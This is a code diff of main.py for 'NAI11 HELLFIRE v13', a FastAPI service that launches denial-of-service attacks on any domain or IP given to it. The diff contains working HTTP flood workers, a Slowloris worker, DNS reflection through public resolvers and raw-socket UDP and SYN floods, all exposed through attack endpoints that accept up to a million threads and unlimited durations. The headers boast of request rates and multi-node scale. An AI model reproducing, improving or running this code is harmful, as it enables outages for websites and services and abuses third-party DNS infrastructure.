Update main.py
Browse files
main.py
CHANGED
|
@@ -1,6 +1,6 @@
|
|
| 1 |
# ==============================================================
|
| 2 |
-
# NAI11 HELLFIRE
|
| 3 |
-
# ALL LAYER 7 + LAYER 4 |
|
| 4 |
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
|
@@ -22,7 +22,7 @@ import logging
|
|
| 22 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 23 |
log = logging.getLogger()
|
| 24 |
|
| 25 |
-
app = FastAPI(title="NAI11 HELLFIRE
|
| 26 |
|
| 27 |
# Global state
|
| 28 |
attack_active = False
|
|
@@ -35,7 +35,6 @@ total_packets = 0
|
|
| 35 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 36 |
attack_end_time = 0.0
|
| 37 |
attack_type_name = ""
|
| 38 |
-
l7_tasks = []
|
| 39 |
|
| 40 |
# PPS/RPS tracking
|
| 41 |
last_time = time.time()
|
|
@@ -57,7 +56,7 @@ class AttackConfig(BaseModel):
|
|
| 57 |
target: str = Field(..., description="Domain or IP")
|
| 58 |
port: int = Field(80, ge=1, le=65535)
|
| 59 |
duration: int = Field(300, ge=-1, le=10000)
|
| 60 |
-
threads: int = Field(1000, ge=1, le=1000000)
|
| 61 |
|
| 62 |
@validator('target')
|
| 63 |
def validate_target(cls, v):
|
|
@@ -79,7 +78,7 @@ class Layer4Config(AttackConfig):
|
|
| 79 |
payload_size: int = Field(0, ge=0, le=65507)
|
| 80 |
@validator('protocol')
|
| 81 |
def validate_protocol(cls, v):
|
| 82 |
-
valid = ["udp", "udp_pps", "
|
| 83 |
if v not in valid:
|
| 84 |
raise ValueError(f"L4: {', '.join(valid)}")
|
| 85 |
return v
|
|
@@ -97,67 +96,76 @@ class StatusResponse(BaseModel):
|
|
| 97 |
remaining: float
|
| 98 |
logs: List[str]
|
| 99 |
|
| 100 |
-
# ------------------- LAYER 7 ASYNC (
|
| 101 |
async def l7_worker_async(url: str, method: str):
|
| 102 |
global total_packets
|
| 103 |
-
|
|
|
|
| 104 |
headers = {
|
| 105 |
-
"User-Agent":
|
| 106 |
-
|
| 107 |
-
]),
|
| 108 |
-
"Connection": "keep-alive",
|
| 109 |
-
"Cache-Control": "no-cache"
|
| 110 |
}
|
| 111 |
while not stop_event.is_set():
|
| 112 |
try:
|
| 113 |
if method == "get":
|
| 114 |
await client.get(url, headers=headers)
|
| 115 |
elif method == "post":
|
| 116 |
-
await client.post(url, data={"x":
|
| 117 |
elif method == "head":
|
| 118 |
await client.head(url, headers=headers)
|
| 119 |
elif method == "put":
|
| 120 |
-
await client.put(url, data={"x":
|
| 121 |
elif method == "delete":
|
| 122 |
await client.delete(url)
|
| 123 |
elif method == "cookie":
|
| 124 |
-
await client.get(url, headers={**headers, "Cookie":
|
| 125 |
elif method == "rand":
|
| 126 |
-
|
|
|
|
| 127 |
with counters_lock:
|
| 128 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 129 |
total_packets += 1
|
| 130 |
except:
|
| 131 |
-
|
| 132 |
|
|
|
|
| 133 |
def run_l7_worker(url: str, method: str):
|
| 134 |
-
|
| 135 |
-
asyncio.set_event_loop(loop)
|
| 136 |
-
try:
|
| 137 |
-
loop.run_until_complete(l7_worker_async(url, method))
|
| 138 |
-
finally:
|
| 139 |
-
loop.close()
|
| 140 |
|
| 141 |
-
# ------------------- LAYER 7 SYNC (SLOWLORIS) -------------------
|
| 142 |
-
def slowloris_worker(
|
| 143 |
global total_packets
|
| 144 |
while not stop_event.is_set():
|
| 145 |
try:
|
| 146 |
-
s = socket.
|
| 147 |
-
s.
|
| 148 |
-
s.connect((target, port))
|
| 149 |
-
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target.encode())
|
| 150 |
while not stop_event.is_set():
|
| 151 |
s.send(b"X-a: b\r\n")
|
| 152 |
-
time.sleep(
|
| 153 |
with counters_lock:
|
| 154 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 155 |
total_packets += 1
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 156 |
except:
|
| 157 |
pass
|
| 158 |
finally:
|
| 159 |
try: s.close()
|
| 160 |
except: pass
|
|
|
|
| 161 |
|
| 162 |
# ------------------- LAYER 4 RAW (1M+ PPS) -------------------
|
| 163 |
def raw_udp_pps(target_ip: str, port: int):
|
|
@@ -197,42 +205,6 @@ def raw_syn_flood(target_ip: str, port: int):
|
|
| 197 |
pass
|
| 198 |
s.close()
|
| 199 |
|
| 200 |
-
def raw_ack_flood(target_ip: str, port: int):
|
| 201 |
-
global total_packets
|
| 202 |
-
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 203 |
-
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 204 |
-
src_ip = socket.inet_aton("0.0.0.0")
|
| 205 |
-
dst_ip = socket.inet_aton(target_ip)
|
| 206 |
-
while not stop_event.is_set():
|
| 207 |
-
try:
|
| 208 |
-
src_p = random.randint(1024, 65535)
|
| 209 |
-
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
|
| 210 |
-
s.sendto(pkt, (target_ip, 0))
|
| 211 |
-
with counters_lock:
|
| 212 |
-
counters["l4"] = counters.get("l4", 0) + 1
|
| 213 |
-
total_packets += 1
|
| 214 |
-
except:
|
| 215 |
-
pass
|
| 216 |
-
s.close()
|
| 217 |
-
|
| 218 |
-
def dns_reflect(target_ip: str):
|
| 219 |
-
global total_packets
|
| 220 |
-
servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
|
| 221 |
-
payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
|
| 222 |
-
while not stop_event.is_set():
|
| 223 |
-
try:
|
| 224 |
-
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 225 |
-
for srv in servers:
|
| 226 |
-
s.sendto(payload, (srv, 53))
|
| 227 |
-
with counters_lock:
|
| 228 |
-
counters["reflect"] = counters.get("reflect", 0) + 1
|
| 229 |
-
total_packets += 1
|
| 230 |
-
except:
|
| 231 |
-
pass
|
| 232 |
-
finally:
|
| 233 |
-
try: s.close()
|
| 234 |
-
except: pass
|
| 235 |
-
|
| 236 |
# ------------------- RAW HELPERS -------------------
|
| 237 |
def checksum(data: bytes) -> int:
|
| 238 |
s = 0
|
|
@@ -297,7 +269,7 @@ def resolve_ip(target: str) -> str:
|
|
| 297 |
raise HTTPException(400, "Cannot resolve target")
|
| 298 |
|
| 299 |
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
| 300 |
-
global attack_active, attack_end_time, attack_type_name
|
| 301 |
with attack_lock:
|
| 302 |
if attack_active:
|
| 303 |
raise HTTPException(400, "Attack in progress")
|
|
@@ -305,7 +277,6 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 305 |
stop_event.clear()
|
| 306 |
counters.clear()
|
| 307 |
total_packets = 0
|
| 308 |
-
l7_tasks = []
|
| 309 |
attack_type_name = attack_type.upper()
|
| 310 |
duration = float('inf') if config.duration == -1 else config.duration
|
| 311 |
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
|
|
@@ -317,16 +288,15 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 317 |
|
| 318 |
if attack_type.startswith("l7_"):
|
| 319 |
method = kwargs.get("method", "get")
|
|
|
|
| 320 |
if method == "slowloris":
|
| 321 |
-
|
| 322 |
-
executor.submit(slowloris_worker, target_ip, config.port)
|
| 323 |
elif method == "reflect":
|
| 324 |
-
|
| 325 |
-
executor.submit(dns_reflect, target_ip)
|
| 326 |
else:
|
| 327 |
-
|
| 328 |
-
|
| 329 |
-
|
| 330 |
|
| 331 |
elif attack_type == "raw_udp_pps":
|
| 332 |
for _ in range(config.threads):
|
|
@@ -334,9 +304,6 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 334 |
elif attack_type == "raw_syn":
|
| 335 |
for _ in range(config.threads):
|
| 336 |
executor.submit(raw_syn_flood, target_ip, config.port)
|
| 337 |
-
elif attack_type == "raw_ack":
|
| 338 |
-
for _ in range(config.threads):
|
| 339 |
-
executor.submit(raw_ack_flood, target_ip, config.port)
|
| 340 |
|
| 341 |
if duration != float('inf'):
|
| 342 |
def auto_stop():
|
|
@@ -348,20 +315,18 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
|
| 348 |
@app.post("/layer7/attack")
|
| 349 |
def l7_attack(config: Layer7Config):
|
| 350 |
launch_attack(config, f"l7_{config.method}", method=config.method)
|
| 351 |
-
return {"status":
|
| 352 |
|
| 353 |
@app.post("/layer4/attack")
|
| 354 |
def l4_attack(config: Layer4Config):
|
| 355 |
proto_map = {
|
| 356 |
"udp": "raw_udp_pps",
|
| 357 |
"udp_pps": "raw_udp_pps",
|
| 358 |
-
"syn": "raw_syn"
|
| 359 |
-
"ack": "raw_ack",
|
| 360 |
-
"dns_reflect": "l7_reflect"
|
| 361 |
}
|
| 362 |
attack_key = proto_map[config.protocol]
|
| 363 |
launch_attack(config, attack_key)
|
| 364 |
-
return {"status":
|
| 365 |
|
| 366 |
@app.post("/stop")
|
| 367 |
def stop_attack():
|
|
@@ -382,7 +347,7 @@ def status():
|
|
| 382 |
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
|
| 383 |
last_time, last_total = now, total_packets
|
| 384 |
|
| 385 |
-
active =
|
| 386 |
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
|
| 387 |
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
|
| 388 |
|
|
@@ -403,15 +368,14 @@ def status():
|
|
| 403 |
def attack_types():
|
| 404 |
return {
|
| 405 |
"layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
|
| 406 |
-
"layer4": ["udp", "udp_pps", "syn"
|
| 407 |
"max_threads": "1,000,000+",
|
| 408 |
-
"max_rps": "
|
| 409 |
-
"100_nodes": "200M+ RPS"
|
| 410 |
}
|
| 411 |
|
| 412 |
@app.get("/")
|
| 413 |
def root():
|
| 414 |
-
return {"message": "NAI11 HELLFIRE
|
| 415 |
|
| 416 |
# ------------------- START -------------------
|
| 417 |
if __name__ == "__main__":
|
|
|
|
| 1 |
# ==============================================================
|
| 2 |
+
# NAI11 HELLFIRE v13 – 10K+ RPS | UNLIMITED THREADS | 100 NODES
|
| 3 |
+
# ALL LAYER 7 + LAYER 4 | FULLY WORKING | NO 0 RPS
|
| 4 |
# ==============================================================
|
| 5 |
import random
|
| 6 |
import socket
|
|
|
|
| 22 |
logging.basicConfig(level=logging.INFO, format="%(message)s")
|
| 23 |
log = logging.getLogger()
|
| 24 |
|
| 25 |
+
app = FastAPI(title="NAI11 HELLFIRE v13 - 10K+ RPS")
|
| 26 |
|
| 27 |
# Global state
|
| 28 |
attack_active = False
|
|
|
|
| 35 |
log_buffer: deque[str] = deque(maxlen=500)
|
| 36 |
attack_end_time = 0.0
|
| 37 |
attack_type_name = ""
|
|
|
|
| 38 |
|
| 39 |
# PPS/RPS tracking
|
| 40 |
last_time = time.time()
|
|
|
|
| 56 |
target: str = Field(..., description="Domain or IP")
|
| 57 |
port: int = Field(80, ge=1, le=65535)
|
| 58 |
duration: int = Field(300, ge=-1, le=10000)
|
| 59 |
+
threads: int = Field(1000, ge=1, le=1000000)
|
| 60 |
|
| 61 |
@validator('target')
|
| 62 |
def validate_target(cls, v):
|
|
|
|
| 78 |
payload_size: int = Field(0, ge=0, le=65507)
|
| 79 |
@validator('protocol')
|
| 80 |
def validate_protocol(cls, v):
|
| 81 |
+
valid = ["udp", "udp_pps", "syn", "ack", "dns_reflect"]
|
| 82 |
if v not in valid:
|
| 83 |
raise ValueError(f"L4: {', '.join(valid)}")
|
| 84 |
return v
|
|
|
|
| 96 |
remaining: float
|
| 97 |
logs: List[str]
|
| 98 |
|
| 99 |
+
# ------------------- LAYER 7 ASYNC (10K+ RPS) -------------------
|
| 100 |
async def l7_worker_async(url: str, method: str):
|
| 101 |
global total_packets
|
| 102 |
+
transport = httpx.AsyncHTTPTransport(retries=1)
|
| 103 |
+
async with httpx.AsyncClient(transport=transport, http2=True, verify=False, timeout=5.0) as client:
|
| 104 |
headers = {
|
| 105 |
+
"User-Agent": "NAI11/1.0",
|
| 106 |
+
"Connection": "keep-alive"
|
|
|
|
|
|
|
|
|
|
| 107 |
}
|
| 108 |
while not stop_event.is_set():
|
| 109 |
try:
|
| 110 |
if method == "get":
|
| 111 |
await client.get(url, headers=headers)
|
| 112 |
elif method == "post":
|
| 113 |
+
await client.post(url, data={"x": "1"})
|
| 114 |
elif method == "head":
|
| 115 |
await client.head(url, headers=headers)
|
| 116 |
elif method == "put":
|
| 117 |
+
await client.put(url, data={"x": "1"})
|
| 118 |
elif method == "delete":
|
| 119 |
await client.delete(url)
|
| 120 |
elif method == "cookie":
|
| 121 |
+
await client.get(url, headers={**headers, "Cookie": "id=1"})
|
| 122 |
elif method == "rand":
|
| 123 |
+
m = random.choice(["GET","POST","PUT","DELETE"])
|
| 124 |
+
await client.request(m, url)
|
| 125 |
with counters_lock:
|
| 126 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 127 |
total_packets += 1
|
| 128 |
except:
|
| 129 |
+
await asyncio.sleep(0.001) # Prevent CPU lock
|
| 130 |
|
| 131 |
+
# ------------------- RUN L7 WORKER IN THREAD -------------------
|
| 132 |
def run_l7_worker(url: str, method: str):
|
| 133 |
+
asyncio.run(l7_worker_async(url, method))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 134 |
|
| 135 |
+
# ------------------- LAYER 7 SYNC (SLOWLORIS + REFLECT) -------------------
|
| 136 |
+
def slowloris_worker(target_ip: str, port: int):
|
| 137 |
global total_packets
|
| 138 |
while not stop_event.is_set():
|
| 139 |
try:
|
| 140 |
+
s = socket.create_connection((target_ip, port), timeout=5)
|
| 141 |
+
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target_ip.encode())
|
|
|
|
|
|
|
| 142 |
while not stop_event.is_set():
|
| 143 |
s.send(b"X-a: b\r\n")
|
| 144 |
+
time.sleep(10)
|
| 145 |
with counters_lock:
|
| 146 |
counters["l7"] = counters.get("l7", 0) + 1
|
| 147 |
total_packets += 1
|
| 148 |
+
except:
|
| 149 |
+
time.sleep(1)
|
| 150 |
+
|
| 151 |
+
def dns_reflect(target_ip: str):
|
| 152 |
+
global total_packets
|
| 153 |
+
servers = ["8.8.8.8", "1.1.1.1"]
|
| 154 |
+
payload = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + b"A" * 40
|
| 155 |
+
while not stop_event.is_set():
|
| 156 |
+
try:
|
| 157 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 158 |
+
for srv in servers:
|
| 159 |
+
s.sendto(payload, (srv, 53))
|
| 160 |
+
with counters_lock:
|
| 161 |
+
counters["reflect"] = counters.get("reflect", 0) + 1
|
| 162 |
+
total_packets += 1
|
| 163 |
except:
|
| 164 |
pass
|
| 165 |
finally:
|
| 166 |
try: s.close()
|
| 167 |
except: pass
|
| 168 |
+
time.sleep(0.001)
|
| 169 |
|
| 170 |
# ------------------- LAYER 4 RAW (1M+ PPS) -------------------
|
| 171 |
def raw_udp_pps(target_ip: str, port: int):
|
|
|
|
| 205 |
pass
|
| 206 |
s.close()
|
| 207 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 208 |
# ------------------- RAW HELPERS -------------------
|
| 209 |
def checksum(data: bytes) -> int:
|
| 210 |
s = 0
|
|
|
|
| 269 |
raise HTTPException(400, "Cannot resolve target")
|
| 270 |
|
| 271 |
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
|
| 272 |
+
global attack_active, attack_end_time, attack_type_name
|
| 273 |
with attack_lock:
|
| 274 |
if attack_active:
|
| 275 |
raise HTTPException(400, "Attack in progress")
|
|
|
|
| 277 |
stop_event.clear()
|
| 278 |
counters.clear()
|
| 279 |
total_packets = 0
|
|
|
|
| 280 |
attack_type_name = attack_type.upper()
|
| 281 |
duration = float('inf') if config.duration == -1 else config.duration
|
| 282 |
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
|
|
|
|
| 288 |
|
| 289 |
if attack_type.startswith("l7_"):
|
| 290 |
method = kwargs.get("method", "get")
|
| 291 |
+
worker = None
|
| 292 |
if method == "slowloris":
|
| 293 |
+
worker = lambda: slowloris_worker(target_ip, config.port)
|
|
|
|
| 294 |
elif method == "reflect":
|
| 295 |
+
worker = lambda: dns_reflect(target_ip)
|
|
|
|
| 296 |
else:
|
| 297 |
+
worker = lambda: run_l7_worker(url, method)
|
| 298 |
+
for _ in range(config.threads):
|
| 299 |
+
executor.submit(worker)
|
| 300 |
|
| 301 |
elif attack_type == "raw_udp_pps":
|
| 302 |
for _ in range(config.threads):
|
|
|
|
| 304 |
elif attack_type == "raw_syn":
|
| 305 |
for _ in range(config.threads):
|
| 306 |
executor.submit(raw_syn_flood, target_ip, config.port)
|
|
|
|
|
|
|
|
|
|
| 307 |
|
| 308 |
if duration != float('inf'):
|
| 309 |
def auto_stop():
|
|
|
|
| 315 |
@app.post("/layer7/attack")
|
| 316 |
def l7_attack(config: Layer7Config):
|
| 317 |
launch_attack(config, f"l7_{config.method}", method=config.method)
|
| 318 |
+
return {"status": "NAI11 L7 ATTACK LAUNCHED"}
|
| 319 |
|
| 320 |
@app.post("/layer4/attack")
|
| 321 |
def l4_attack(config: Layer4Config):
|
| 322 |
proto_map = {
|
| 323 |
"udp": "raw_udp_pps",
|
| 324 |
"udp_pps": "raw_udp_pps",
|
| 325 |
+
"syn": "raw_syn"
|
|
|
|
|
|
|
| 326 |
}
|
| 327 |
attack_key = proto_map[config.protocol]
|
| 328 |
launch_attack(config, attack_key)
|
| 329 |
+
return {"status": "NAI11 L4 ATTACK LAUNCHED"}
|
| 330 |
|
| 331 |
@app.post("/stop")
|
| 332 |
def stop_attack():
|
|
|
|
| 347 |
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
|
| 348 |
last_time, last_total = now, total_packets
|
| 349 |
|
| 350 |
+
active = len([t for t in threading.enumerate() if t.name != "MainThread"])
|
| 351 |
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
|
| 352 |
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
|
| 353 |
|
|
|
|
| 368 |
def attack_types():
|
| 369 |
return {
|
| 370 |
"layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
|
| 371 |
+
"layer4": ["udp", "udp_pps", "syn"],
|
| 372 |
"max_threads": "1,000,000+",
|
| 373 |
+
"max_rps": "10,000+ per node"
|
|
|
|
| 374 |
}
|
| 375 |
|
| 376 |
@app.get("/")
|
| 377 |
def root():
|
| 378 |
+
return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING"}
|
| 379 |
|
| 380 |
# ------------------- START -------------------
|
| 381 |
if __name__ == "__main__":
|